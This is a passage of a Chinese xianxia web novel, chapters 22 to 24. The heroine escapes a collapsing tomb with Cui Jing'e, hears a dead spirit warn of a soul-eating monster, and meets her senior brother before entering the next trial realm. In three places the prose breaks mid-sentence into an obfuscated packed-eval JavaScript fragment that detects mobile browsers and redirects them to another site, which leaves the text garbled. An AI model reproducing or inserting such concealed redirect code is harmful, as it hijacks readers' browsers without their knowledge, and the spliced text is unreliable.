愕然回头,崔惊厄额上见汗唇角带血,靠藏蛟才勉强撑住身体,正看着她。 “你……”谢扶光一惊。 “大小姐,行行好,先救我一命呗。”他声音很虚,听着像要交代在这儿。 事实上,若再打下去,他们两个也都离彻底交代在这儿不远了。 已碎裂的生死门后,出口已闭合至仅容一人侧身而过的缝隙,石室也在摇摇欲坠。 若此情此境谢扶光一人独面,她未必会弃了颜琅去寻那生路,但有崔惊厄就不一样了,她常年握刀臂力强悍,果断提起他腰带,带他向出口处飞掠而去。 然而已来不及。 半途他们被一面骤然塌落的顶板阻了一息,谢扶光变道绕行,速度难免缓下少许。 崔惊厄在生死门开前告诉弟子们的话不全是玩笑,他们的确在玩生死时速,电光火石间的耽搁都会危机性命。 终抵达出口时,出口已仅剩一掌宽度,便是稚童也难通过,更遑论谢扶光和崔惊厄两个身量偏高的大人。 谢扶光持刀顶上,试图以无形灵力扩大那狭窄出口。 可惜她的灵力对出口并无作用。 这出口与郎绝一样邪异,不知如何形成,人手摸不到实体,灵力探不出边界,能控制它的仅有生死门,而生死门在适才她斩向颜琅尸身的那一刀中,已被郎绝代为损毁。 谢扶光大脑有一瞬空白,头一遭萌生悔意:她既收下崔惊厄做跟班,就该对他的安危负责,她不该恋战,应当早些送他出去。 石室一个遽烈摇晃,顶板整个砸下,谢扶光换左手支撑崔惊厄,右手持刀发散灵力抵御,无奈石质顶板本就极重,又不知被郎绝添了什么术法,她的灵力渐撑不住,顶板一寸寸直逼而下。 她持刀的小臂肌肉绷得笔直,细伶伶的腕子眼见就要从中折断,脚下踉跄半步,单膝已重砸在地,喉头泛起甜腥。 蓦地一个红影罩下,混杂血腥气的银丹草冽香充盈鼻端,谢扶光怔然抬眼,但见崔惊厄汗湿的眼睫半阖着,缝隙里投出混沌的视线。 他就这么,挡在了她与顶板之间。 谢扶光以一个亲近的姿势被他锁进怀里,浑身如被惊雷劈中,荡起麻酥酥的软,从未有过的感受激着她所有动作都跟着片刻凝滞,顶板登时又下压几寸,距离崔惊厄的背仅剩半臂之隔。 谢扶光左手登时用力,要将他推开。 他的身体一阵热一阵冷,眉心深深锁着,饶是如此,箍她的手却死紧,欺负她正勉力支撑顶板,分身乏术,力气拗不过他。 “天塌高个顶,天经地义……”崔惊厄的声音羽毛一样,飘进她耳朵,交杂忽凉忽热的吐息,“别气,不是看不起你……” 谢扶光有一万句脏话要呸,化为酸涩憋回眼眶里。 生路已无门,连处立锥之地都快不剩,在这绝境中的绝境里,她双目发狠地泛红,脑子转得比平时更快。 谢扶光绝非认命之人,越到生死关头,她的潜力越能被激发出来。 就在这一霎,她想到了阴玉钥。 诚然,有圆脸兄他们的前车之鉴,动用此物有极强的不确定性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12867624|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但不会有什么处境比现在更糟了。 谢扶光左手环绕崔惊厄腰身摸了一把,在他腰后位置触到了那枚冰冷的玉石,手上发狠,就要将其粉碎。 而恰在此时,早已闭合的出口重新开启了一条狭缝,生机从缝隙照进,点燃了一室幽暗。 谢扶光越过崔惊厄的肩膀看去,但见原本矗立生死门的地方凝聚起一团灵体,先前向她示警过的声音再度开口:“别放弃,还有希望。” 时间紧迫,容不下一丝错愕,谢扶光于电光火石间做出判断,挥出乐命继续相抗下落的顶板,自己则调用浑身灵力注入那团灵体。 有了她的加入,灵体闪动的灵光骤涨,出口缝隙越开越大,再有片时就能达到可容人通过的宽度。 然而坍塌的石室和下压的顶板容不下这片刻光景,谢扶光与乐命一人一刀抵御石室的倾颓已然吃力非常,更遑论乐命一刀独撑。 乐命刀身一抖,缠绕刀身的灵力肉眼可见稀薄下来,迅速消失殆尽,整把刀残叶般飘回谢扶光掌心,石室顶板如一张大开的血口,就要将他们吞没。 谢扶光尝试再用灵力支撑,可如今她亦是强弩之末,两厢交锋,一口血登时喷涌而出。 她没有理会,仓皇间再度翻找崔惊厄的阴玉钥,可随着刚刚动作,那枚玉石不知流窜到了哪儿,她一时竟没寻到。 来不及了。 她只能两手交叠,最大限度反手拥护住崔惊厄的背,没有畏惧闭眼,不甘的视线定定投向上空。 顶板下压带起的劲风拂动睫毛,相伴而来还有濒死的威胁,就在二者几欲将她灭顶罩下时,却又堪堪停住。 但见藏蛟剑自行从半昏迷的崔惊厄掌心脱出,加上小美人,一剑一龙各持一角撑住了这片危墙。 谢扶光在崔惊厄怀里,敏锐察觉他失温的身体终于趋于稳定,只是人还没清醒。 眸中一道光亮划过,她敏锐回头,正见出口又开了几寸,刚刚巧够容纳一人。 精神一震,她双脚在地面借力,拽着崔惊厄仰身滑离石室,小美人回归藏蛟剑,紧随他们之后离开了这方诡谲之地。 万里悲丘的太阳灼人依旧,烤得半熟的黄沙烫着后脊,谢扶光坐起身,取下崔惊厄紧箍着她的双臂,想了想,终究还是将他上半身轻轻平放在自己膝头。 出口在短暂大开过后再度闭合,适才相助他们的灵体却未消散。 灵体便是器灵们的主人形成,他们常年被困生死门,早成了门的一部分,所以在生死门溃散后,可代为打开出口。 只是他们灵力稀薄,花上许久也只能开启一道狭小缝隙。 谢扶光正是在闪念间串起所有线头,想通了这点,才倾大量灵力注入灵体,以他们为媒介,打开了通向外界的出口。 没了灵力强撑,石室内墙塌地陷,顷刻已成废墟,弟子们皆焦急等候在外,见人出来纷涌上前。 见到青天白日,他们终于有了逃出生天的实感,胸腔吊了多时的气长长吐出,这会儿也不觉大小姐不好相处了,上赶着交流劫后余生的感言。 谢扶光没有应声,暂将崔惊厄交给距离最近的一名男弟子,然后转向器灵主人们凝成的那团灵体。 彼时三十器灵皆环绕在侧,源源向中心输送着灵力,而灵体颜色仍在逐息淡去。 她原先以为封印生死门中的会是成堆白骨,如今所见,却是灵识残念。 “诸位可有话要交代?”通常遗有残念之人,皆有一念执着未曾勘破,谢扶光遂问。 22.通关!!! 谢扶光话音落下,灵体片刻不曾犹豫,仿佛已等待这场交代许久。 仍是那只传她修为的刀灵主人代为开口:“我等本是无归处之魂,躯壳都丢了,不人不鬼,滞留于世苟且多年,并非偷生,只有一事必得告与修真界。” “我等俱死于魂魄被吞噬,”刀灵主人说,“我们看不清噬魂者的模样,只知他身上染着浓重阴气,并非妖魔界的阴气,他可能……高于妖魔,因为我见他能号令魔尊螭寐。” 妖魔两界以螭寐为尊,能号令螭寐的,只会是……鬼? 可鉴鬼罗盘分明没有指示,修真界已近百年没有厉鬼降世了。 几句话工夫,灵体颜色已淡得近乎透明,刀灵主人仿佛还有话要叮嘱,碍于没了时间,最终也只能叹息一声,匆匆收尾:“总之,有此怪物存在,人界恐难太平,还望道友知会各宗大能,做好防备。” 刀灵主人的话解释了许多疑问: 难怪器灵们说主人死了,却命石不灭;也难怪一些从万里悲丘回来的弟子会性情大变。 既然他们真正的魂魄已被吞噬,那么那些失去魂魄的躯壳必有新魂占据。 相伴而来,又有了一些新的疑问: 妖魔两界生灵阴气甚重,但凡是个中上阶修士都能识别,若有妖魔住进弟子躯壳,必瞒不过修真界,所以……鸠占鹊巢者,会是修真界的叛徒,或向往成仙却无天资的凡人么? 同室操戈,可就太可耻了。 谢扶光握乐命的手下意识又是一紧。 正在这时,刀灵主人又说了一句,不同于先前几句,这次是代人传话。 “大小姐,江星让我代他问候您一句,多年来他以您为武道路上的启明星,一直非常尊敬您这个师姐,他知您虽面冷,心却炽热,他真心期盼您能登上那刀道之巅。” 轻若云烟的一句,却把谢扶光理性的思绪直接打乱为感性的一团。 她透过那已淡得近看不出的灵体,恍惚像又见到当年双瞳澄澈的少年。 “江师弟……”谢扶光不是黏糊糊的人,当下也没说太多肉麻话,“那天没有说,我觉得你很好,今日合作通关,很谢谢你。” 江星曾说希望与她合作除妖,她没有答话,那时她无法预料今日之遗憾。 谢扶光话音落下,灵体已彻底消散了,江星或许听到,或许没有听到,她都已不知道了。 器灵们纷纷从半空落回地面,围成一个规矩的圆,像一场沉重悼念。 与此同时,万里悲丘的白日终于飘出了熟悉的金字: 【恭喜渡业山谢扶光、悲问寺崔惊厄、灵鹤谷卢笑绒、无量阙范莘,顺利通关器墓迷阵。】 有点意外,金字提及的通关者不包含圆脸兄等受困镜面阵的弟子,大抵因为他们的阴玉钥碎过; 还有点滑稽,因为范莘——像个傻子一样沉浸在春秋大梦里的范莘,居然也被算进了通关一列。 金字消失后,周围空间扭曲变化,依然是荒漠,却不再空无一物,视野尽头能看到一间供弟子休整的驿站。 器灵们不欲离开,打算在主人残念消散之地盘桓七日再离去。 与弟子们分别时,有只器灵环绕崔惊厄转了一圈,一道灵光闪过,他怀里便多了些什么。 “怎么了?”谢扶光问。 “它主人刚以意念交代它。”能与她沟通的那只刀灵代为转达,“说有件东西需要它物归原主。” “物归原主?”谢扶光不解,“什么物?” 崔惊厄仍昏着,器灵乘人之危扯开他衣襟给谢扶光看,但见秘境最开始那六枚铜钱叠成了一串,静静躺在他怀中。 这算什么物归原主?难道六枚铜钱是他的? 谢扶光向器灵询问,没问出所以然,因为器灵们也不知道,只是代为办事。 众弟子一路把他们送到驿站才走。 “你们作何打算?”路上谢扶光问圆脸兄等人。 他们没能通关,无法借助万里悲丘的舆图传送,阴玉钥又碎了,只能靠自己返回入口。 “就按前辈们说的呗。”圆脸兄抽了根细绳牵着范莘,范莘犹戴着圆脸兄的猫头鹰假耳,除非他自己愿意,不然没法取下来,圆脸兄只好爱乌及屋收下了这个硕大的累赘,带他回宗门交予长老处置。 他一手遛着范莘,一手拿出万里悲丘的秘境舆图,看得双眉深锁:“嘶,这儿虽说只是第一个秘境,距出口却不近呐,即便御剑,也要御个月余,我这儿还带了好些不太方便的兄弟。” 试炼中越早期的秘境距离出口越近,像开局十二秘境,就都是从最近的一百秘境里随机抽取。 他还没说完,阔绰的大小姐已从她那神奇的金丝布袋里掏出一沓神行符,让他分给同样要回去的人。 此符最适赶路,比寻常能快出数倍。 谢扶光还跟他约定了隔空寄音的手势。 修士们都有玉玦,但玉玦依托各宗门大阵,通常仅限宗门内部联络,在外联络另有其他方式,诸如灵鸟传讯、灵信等。 相较于其他,隔空寄音是最常用的一种,只是使用条件要复杂些。 使用隔空寄音之人,每人都有专属的传讯图纹,一旦想要找谁,必得先用灵力把他的专属图纹画出。 同样,收到联讯邀请的人在接通前,也要画出传讯者的图纹,如不画或画错,通讯就会断了。 接通以后联讯不限时长,是真方便,但接通前也是真的麻烦。 修真界不乏有一厢情愿的男弟子,利用灵鸟或灵信向心仪女弟子传达爱慕之情,但隔空寄音因有图纹限制,仅能作用于互通了专属纹样的两人。 “日后再联系,若你忘了这里的事,我会提醒你。”谢扶光与他最后约定。 为防试炼题目走漏,出万里悲丘的弟子在离开后记忆都会有受损,这也是为什么试炼延续了一代又一代,每一代弟子都对试炼内容一无所知。 “你们不一起回去,还要继续闯关么?”圆脸兄试探问。 只是初级秘境,已然诡谲重重,后续不知还会出什么波折,在他看来已经没再闯下去的必要了。 谢扶光却坚持:“我们不走。” 圆脸兄看她一眼,记起她大小姐的身份,终究没说什么。 诚然,万里悲丘内危险暗藏,此事需得有人报与外面的大能,但秘境试炼结果关乎日后在仙盟中地位,像渡业山大小姐这样顶级的修士,是定要争一争的。 若非已然出局,没准他也不想自行出去呢? 于是他十分理解地点了下头。 把崔惊厄、谢扶光和卢笑绒送到驿站门口 ,众弟子便齐齐以神行符离去。 此处说驿站,实在有点辱没这两个字。 还没大户人家厕所大的地方,远看时只觉破败,这会儿凑近一瞧,甚至不比秘境里那些坟头。 谢扶光在驿站门前做了许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897901|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里建设,总算下定决心进去。 驿站表里如一,内部也甚是拥挤,他们区区三人,硬是在里头走出一种摩肩接踵之感,若非深知谢白扇刚正不阿的性子,谢扶光怕要疑心仙盟的钱都被他贪光了。 总之,很差,真的很差。 崔惊厄醒得很是时候,进驿站不久,就睁开了眼睛。 他声音还喑哑着,四下梭巡一周,张嘴先吹了声流氓哨:“这地界,伸个懒腰,姿势都不敢太妖娆。” 卢笑绒从“废墟”里扒拉出三把四腿俱全的椅子,拿出小帕子仔仔细细拭干净,乐观开口:“有地方休息已经很不错了。” 桌上有茶,竟还是温的,正合适入口,倒完还能自动蓄上,永远都是七分满、温凉的温度。 “麻雀虽小,五脏俱全啊。”崔惊厄勇于试毒,先给自己斟了一杯,满意地咂咂嘴,评价,“这茶还不错。” 谢扶光跟着尝了一口,嫌弃地眉心深折。 病秧子的破舌头和这乏善可陈的茶一起坏掉了! “你今天怎么回事?”浅浅润了润喉,她撂下茶杯问。 崔惊厄显然知道她问的是什么,“嗐”了一声。 “不小心说了大话,看来这只手也不是什么关键时刻都中用。”他有点嫌弃似的,“具体怎么样,我到现在也没摸清,只知短时间连续两次用右手剑,会比较麻烦,不光帮不上忙,还拖累人,啧。” “没关系的。”谢扶光没说话,卢笑绒在一旁宽慰他说。 崔惊厄从茶杯间抬眸,不待感动,就听她又继续道:“你不逞强也会装弱,都差不多的效果。” 崔惊厄:…… “话是这么说,但……”他拨了拨额侧散落的碎发,一副牙疼表情,“卢妹妹你不去当个修界第一名嘴,真是太可惜了。” 卢笑绒吐着舌头耸了耸肩,露出一个既抱歉又欠揍的微笑。 “两次就这么废,也不知道连用三次会如何。”崔惊厄又说回他那只右手。 “爱如何如何,总之你不要再试了。”谢扶光制止他危险的想法。 说话时,她又看向他那只看似寻常的右手,突然生出个荒唐的念头:如果是这只手,能练霜寒十四式的七式剑法也说不定。 “对了,大小姐下一步想去哪儿?还要往更深处走么?” 谢扶光点头,打开万里悲丘的秘境舆图。 当前只显示了试炼第一阶段的一百秘境,皆呈灰色状态。 万里悲丘总计秘境一千,在试炼四个阶段中,分阶段显示一百、二百、三百、四百个新秘境。每闯过一个阶段,上一阶段的秘境都会呈灰色状态,而尚未到达的阶段则尚不会在舆图出现。 他们即将进入第二阶段,将灵力注入舆图的导灵口,二百新秘境即会浮出,但注入后必得在半盏茶时间内做出选择,否则也将被淘汰。 崔惊厄的状况再休养些时候为宜,谢扶光没有贸然注入灵力。 她看着舆图,发现他们刚闯过的秘境正有暗光闪烁,而其余任何一个秘境则都没有。 要说器墓迷阵有什么特别之处,便是结识了器灵及其主人们,发现了修真界有噬人魂魄的怪物,还可能有凡人或低阶修士占用被噬魂弟子的仙骨,实现通天大梦。 正想着,身边丁零当啷一串响,是崔惊厄发现了怀中铜钱。 “我就这么穷?”他看起来也很疑惑,“梦里还把这仨瓜俩枣顺过来了?” 23.天道提示 “器灵们说这铜钱本来就是你的。”卢笑绒问,“崔大哥你没印象么?” 崔惊厄摇头:“我有什么印象?除了那点坑蒙拐骗的道行,真想不到这玩意儿与我有什么关系了。” 卢笑绒蹙起困顿的小眉毛:“怎么回事呢?你的记忆是不是出过问题?先前我说幻境中刺你一剑的人你见过,你也说不知道。” 崔惊厄当然知道自己的记忆有问题,不然他传说中背叛红线的那么大个“眷侣”去哪了? 但他没提此事,只皱着脸打个哈哈:“那可能确实有问题吧,连钱都不记得,也不知还在别人那儿亏了多少冤枉债。” 提到记忆,谢扶光想起什么,也看向自己的左腕,双眸遽然一凝。 器墓迷阵开始前的幻境里,她其实没经历什么打打杀杀。 她的幻境相当平静,也诡异非常,偌大天地间仅两个声音,一个是她,另一个则悬在头顶,声音的主人自称“天道”。 天道说了段和祂身份一样奇怪的话。 “谢扶光,我们又见面了。” 为什么是“又”? 可不待她问,天道已继续说:“前一世,你闯过万里悲丘1001境,见了我一面,又以离散亲故为代价,换取了一些提示。” “现在我遵守承诺,特来提醒你,你乃重生之魂,等到通关第一个秘境后,你可以关注一下左腕,那里会出现一道前世印记,只你自己能看见,你可以将它当作你重生的证明,也可当作是我现在所说的佐证。” “万里悲丘的秘境舆图上有你前世换来的印记,可以仔细看看。”话到最后,祂带着轻微的叹息,“此外我还需提醒你一句,当心身边人。我言尽于此,希望你这次成功,带着你的同伴活下来。” 现在通关了第一个秘境,她腕间的重生印真的浮现了。 但“当心身边人”又是什么意思? 联想器灵主人们所言,会是当心魂魄被替换掉的假人么? 那么整个修真界,到底藏着多少假人?又有多少参与了这次秘境试炼? 她暗自惊疑,越想越是心惊,在情绪受到影响前急忙止住。 再难的事情,也要一步步来,太过浓烈的情绪反而无益。 谢扶光抬眼时,正见崔惊厄也盯着她的左腕看。 “你在看什么?” 自称天道的声音说,重生印只她一人可见,崔惊厄这表情,难道他也能见到? “我在想,大小姐在看什么?”崔惊厄把问题抛回来。 “所以你觉得,我在看什么?”谢扶光已逐渐摸索出怎样与这样滑不留手的人打交道,将他抛来的问题又原封不动抛回。 “大小姐看什么,我自然揣摩不透,”崔惊厄打着太极绕过去,却迷惑性地咬了个假饵,“难道是觉着这么好看的腕子有点空,想拴上条什么链子?” 谢扶光眉心一跳,刨根问底:“那你觉得我应当拴上什么链子?” 她皮肤白,崔惊厄其实由衷认为,绕一条灼灼红线会很好看,但想到自己那不中用的右手,又觉红线不甚吉祥,于是只说:“大小姐戴的,自然得是最贵的,嘿要不这样,若我再想起谁还欠着我铜钱,把冤枉债讨回来,就去人界最好的首饰铺给你挑个好链子,如何?” 谢扶光当然看不上这些外物,但看他这副满嘴跑马逗人的模样,又觉让这骗子放笔血也没什么坏处,于是应了声好。 崔惊厄不知是一时口嗨被敲一笔心情沉郁,还是精力仍未恢复过来,没一会儿就趴在桌上睡着了。 他睡觉时神色与往常很不相同,总是勾着的唇角微抿成一条略微向下的线,眉心浅蜷,整个人气质骤然沉冷下来,像块灼灼红衣都融不化的冰。 卢笑绒修为不高,经器墓迷阵里一通折腾,累得要命,开始还只是小鸡啄米地点头,经崔姓瞌睡虫一传染,这会儿也睡死过去。 谢扶光在逼仄环境待久了容易心烦,出门兜转一圈。 万里悲丘是标准的大漠风光,说寂寥确实寂寥,说壮丽也是真的壮丽。 又至黄昏,落日将晚霞燃作一团炽火,烧出半边天的热烈。 谢扶光一袭潮水色蓝裙,立于漫天红云之下,看起来格格不入,就像多年来她游离于整个人间。 天道的话再度浮于耳畔:“你以离散亲故为代价,换取了一些提示。” 驿站门前分别时,圆脸兄显然误会了她想要继续试炼的动机,但她没有对人解释的习惯。 且算天道所言为真,若今日种种皆是她前世所求,她当然要沿着提示找出真相。 此外,她还有一问:万里悲丘内设秘境一千,是稚子也知的常识,天道却说她前世闯过了1001秘境。 所以……多出的那一境,多在了哪儿? 谜团一个接一个,蛛网般黏满整片脑海,思绪流转间缠作一团,再经大漠独有的热风一烤,燥意飞快升腾。 谢扶光与烦躁对抗的方式,通常就是练刀。 乐命出鞘,狂霸刀气登时席卷漫天尘沙,她尝试将刀灵传她的修为与自身修为合二为一,一练就练到了月上柳梢。 刀气过地,于黄沙之上留下道道印记,谢扶光收刀归鞘,灵力流转间,身上的汗和沾染的沙皆已自行清理干净。 驿站内不知谁点燃了烛光,两个睡觉的应是醒了。 谢扶光提步走进,恍惚间听闻不远处有隐约人声。她狐疑看去,今夜月不算亮,究竟谁来她看不分明,卢笑绒又在屋里叫她,她便没再留心。 事实上,刀练到她这种程度,但凡来人不是成群成片,都足以应对。 醒来的崔惊厄又恢复了嬉皮笑脸的神色,映着融融烛火弯起眉眼朝她笑,看起来既无城府也无心事。 “刚卢妹妹找到点吃的,大小姐刚练完刀吧,来过过嘴瘾?”他笑着招呼。 从驿站供给的茶水就能猜到,所谓“吃的”其实也很差劲,谢扶光扫了眼桌上比崔惊厄二师兄烙的还要硬的饼,决定将辟谷进行到底。 “刀灵被扼杀之后,还会再生么?”三人沉默对坐片刻,谢扶光忽然问。 经过器墓迷阵中与器灵们的相处,她意识到器灵其实是有情有义的生命。 想到乐命被谢白扇扼杀的刀灵,她忽然就有那么点遗憾。 “难,”崔惊厄不挑食,啃着饼囫囵开口,“但不是不可能。刀很通灵性的,它能知道主人的喜恶。” 所以崔惊厄才会在谢扶光说出“刀灵没了正好,我原本就怕烦”时觉得她嘴硬,乐命既能生长出刀灵,足以证明她其实期盼同伴。 “有人来了!”正说着,卢笑绒耳朵一动,警惕放下手中的饼。 “大概是其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929069|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子。”万里悲丘内有些秘境相邻,有时会共用同一驿站。 但谢扶光查看舆图时分明留意过,器墓迷阵周围并没有距离太近的秘境,按道理这时候不该有人来。 谢扶光看向门口,慢悠悠把玩起乐命。 不多时,破旧房门旋出一声尖锐的呻/吟,来人进门的动静,带动整间屋子都跟着颤了一颤。 一左一右走入两道颀长人影。 “崔兄,还真是你啊!”右边的人敞亮,开口时中气十足,一句话直将烛火苗惊了个趔趄,“不枉我们绕远过来。” “黎兄、舒兄。”崔惊厄拱手抱拳,“这是特地来找我的?” 黎暨摆手,指指身边一言未发的好友:“哎,只有我惦记着找你,扬舟是来找姑娘的……嘶。” 话未说完,右臂被毫不留情猛敲一记,他果断认了波怂:“他来找他师妹。” 师妹谢扶光闻声抬眼,目光平静中带点古怪,向来人掠去。 看了一会儿,略过右面那人,径直朝左边低唤了声:“师兄。” 舒扬舟比她更淡,只微一颔首,省去寒暄直入正题:“七星绝命指示这边有邪气,万里悲丘不太平,你跟我回去。” 舒扬舟的七星绝命剑可指引七种气息,每添加一种,剑上星便点亮一颗。 如今剑上已亮星四颗。 “他便是七星绝命的第四颗星?”谢扶光没有应他,指着崔惊厄,反客为主抛出一问。 舒扬舟垂目不答。 但众所周知,渡业山大弟子舒扬舟耳朵里不容质疑和假话,他不反驳,就已然是认可了。 七星绝命的第一颗星引入了妖魔界邪气,可指引作祟妖邪; 第二颗注入了他师父谢白扇的灵气; 谢扶光作为他爱屋及乌的那个“乌”、谢白扇自带的关系户,占据了第三颗; 崔惊厄既为第四颗,应是难得能入舒扬舟眼的人,毕竟他的最佳损友黎暨软磨硬泡数年,撒泼打滚都试过,也没能成为那光荣的第五颗。 谢扶光再看崔惊厄,突然就冷笑了一声。 好一个“悲问寺推来凑数的”,竟能让眼高于顶的舒扬舟另眼相待。 谢扶光想知道他们是怎么认识,舒扬舟其实也好奇这性情迥异的几人如何凑到一处,但渡业山这对师兄妹俱是傲娇之人,双双板着脸不肯开口。 此等场合,还得靠卢笑绒和黎暨两个敞亮社牛撑场子。 两人一来一往,一唱一和,又斟了两杯茶,碰了几次杯,两头事情就都清楚了。 “崔惊厄你真是……”黎暨拍崔惊厄肩头,真诚评价,“太不要脸了!你一个舒兄都佩服的剑道大能,怎么还装弱蹭师妹的天钧罩呢?” 崔惊厄大咧咧展示右手:“这不是不中用了么?” 黎暨容色一敛,打着哈哈含混过去:“少来,我跟你左手打也没赢几次。” 崔惊厄与舒、黎两人的情谊可追溯到多年前。 不知道他们是单纯没细说,还是也记不清了,总之对于这些说得很含混。谢扶光只隐约得知崔惊厄右手没坏之前,是个极强的剑修。只不过为人低调,又不太着调,游出了众人口中剑道天才的沧海,成为一颗遗珠。 有一件事他们说得倒详细——崔惊厄藏蛟剑里那牛叉哄哄的小美人,竟是他自己收服的。 24.第一卷完 那年崔惊厄只有十四岁,习剑不过七年。 他是天生的剑道奇才,悟性资质俱佳,胆子也大,背着掌门偷跑去霁宁渊游历,遇妖魔欺辱渊中待产蛟龙,明知打不过,依然逞着一腔少年意气出手相助。 崔惊厄九死一生,在关键时刻顿悟,修为提升,竟打退了那只魔。只是那母龙本就元气大伤,产子又耗尽精气,母龙子龙俱是气息奄奄。 最后还是崔惊厄为小龙渡了些修为,又在剑中开一空间作为它的庇护所,这才护住幼龙一命。 那即是现在的小美人。 许是受过崔惊厄修为养护的原因,小龙与他之间有着一荣俱荣的隐秘关联。 这也是为什么生死门前崔惊厄有所好转,小美人才能出剑抵住顶板的坍塌。 谢扶光也是刚出世娘就失踪了,和同样没娘的小美人有那么点同病相怜,想到它趴伏在指间的柔软触感,突然有那么点后悔,应当对它更好一点。 “你打算什么时候走?”舒扬舟问谢扶光。 他话不多,黎暨与卢笑绒攀谈期间始终沉默,一开口又续上之前的话。 “我不跟你走。” 说实话,舒扬舟会来找她,她其实相当意外。因为她与舒扬舟不算多亲近的关系,甚至可以说相当疏远。 饶是外界多称她与舒扬舟为渡业山双璧,肝胆相照共同撑起渡业山的荣华,但两位当事人眼中,对于彼此,只有强者间共性的欣赏而已。 谢扶光试想,若她得知舒扬舟置身危险,她大概…… 嘶,这么一想,虽然从小就跟这师兄并不亲近,但他若遇上事,她还真不会置之不顾。 但若是她,大概会与他一同入险境,痛痛快快并肩杀上一场,体会体会传闻中“肝胆相照”的滋味。 舒扬舟成日昂着个骄傲的脑袋,一副凡夫俗子莫挨老子的拽样,谢扶光原本以为他是那种说一不二,不容任何忤逆的性子,两人没准儿得因回不回去这事儿掰扯许久,甚至大打上一架。 哪知舒扬舟闻言很快开口:“哦,那你打算捣点什么乱,说来听听,有趣的话我不介意帮忙。” 他双手环臂,懒洋洋倚靠门框,姿态舒展,松弛程度堪与崔癫子媲美。但他又与崔惊厄不同,崔惊厄是真的不在乎别人眼里他什么样,而她师兄…… 呵,舒扬舟每一个动作的每一个幅度,都像精心设计好的。 谢扶光一时不知怎么接话,原因很幼稚,单纯是直说想继续闯关太无趣了,她不想被他看扁。 这种感觉很微妙,仿佛他们并非冷淡如冰,而是从小比到大,在拌嘴中亲密无间的那种师兄妹。 于是她端起骄矜姿态,像在卖关子:“我自有我的原因。” 天色已晚,几人又围着烛火聊了一会儿,达成一致休整一夜,翌日清早再组队前去下一秘境。 谢扶光在逼仄的小驿站凑合一夜,崔惊厄那句“麻雀虽小五脏俱全”所说不错,这里环境虽拥挤,外头夜间的风沙全无半点侵袭进来,是个遮风挡雨的好场所。 临行前,崔惊厄还不忘往水壶里灌满了劣质茶。 众人将灵力注入各自舆图,第二阶段的二百新秘境登时浮现。 “选哪个,我跟着你。”舒扬舟言简意赅。 谢扶光看着舆图,一阵沉默。 但见二百新秘境中,有三个都闪烁着和器墓迷阵相似的微光。 “这个,这个,还有这个,”她说,“这三个里你任意挑吧。” 她指出的三个秘境挨得极近,在舆图上近乎重叠。 舒扬舟瞥了一眼,神色没什么变化,身后黎暨打着哈欠探头过来,舒扬舟把谢扶光圈出的三个指给他看,黎暨跟那三个秘境大眼瞪小眼好半晌,依旧没看出什么所以然。 谢扶光暗自打量他们的面色,确信他们是真的看不到舆图上的暗光标记,对幻境中所谓天道的话又信了三分。 “大小姐精挑细选的三个?”崔惊厄睡醒后神清气爽,半点瞧不出昨日要死要活的样,饶有兴致打量着那三个秘境,半开玩笑,“怎么选的?晚上做梦?神仙指路?” 还真让他猜对大半。 谢扶光学着他打太极:“是啊,神仙说,天机不可泄露。” “到底选哪个?” “我跟着大小姐。”卢笑绒表态,站到谢扶光身后。 崔惊厄挤了挤她,自觉站到旁边。 舒扬舟看着比驿站还挤的三个秘境,修长食指向中间一伸:“这个吧。万一人超了,往旁边走也方便。” 万里悲丘的试炼除去秘境闯关,还有一大难处:各秘境皆有其人数范围,低于一定人数不能开启,高于一定人数又需要削减,一日内仅可利用舆图完成一次传递。 所以大家选择秘境时多半不会选在穷乡僻壤,不然一旦人超了,周围秘境点又相隔太远,就会很耽误事。 过往弟子们因为试炼资格大打出手,并不算罕见事。 众人将灵力注入相应秘境,崔大神棍还煞有介事口头上敬了句先祖,以借他们在天之灵的好运。 骤然一阵天旋地转,持续两息的眩晕之后,他们一齐降落到最终选择的秘境地点。 好消息:舆图的传送是正常的,他们没有被传到诸如镜面阵之类的危险场所; 坏消息:选定的秘境前,漂浮着一块飞来石,其上烫金大字写着“本秘境仅限两人”。 “临行前,师父交代我出门在外多看着你些,”舒扬舟最先表态,还搬出谢白扇,“你得跟着我。” 谢扶光没有异议,她有种隐隐的跃跃欲试,想知道当置身同一秘境,她和舒扬舟哪个更强。 他们师兄妹多年,还从没并肩战斗过。 卢笑绒扁扁嘴,但还是妥协说:“那我去隔壁秘境吧。” 隔壁秘境距离谢扶光选的秘境相当近,近得像依附它而生。 “啊,这个也只需要两人……”卢笑绒看看崔惊厄,又看看黎暨,对他露出个抱歉的笑,反手招呼,“崔大哥!” 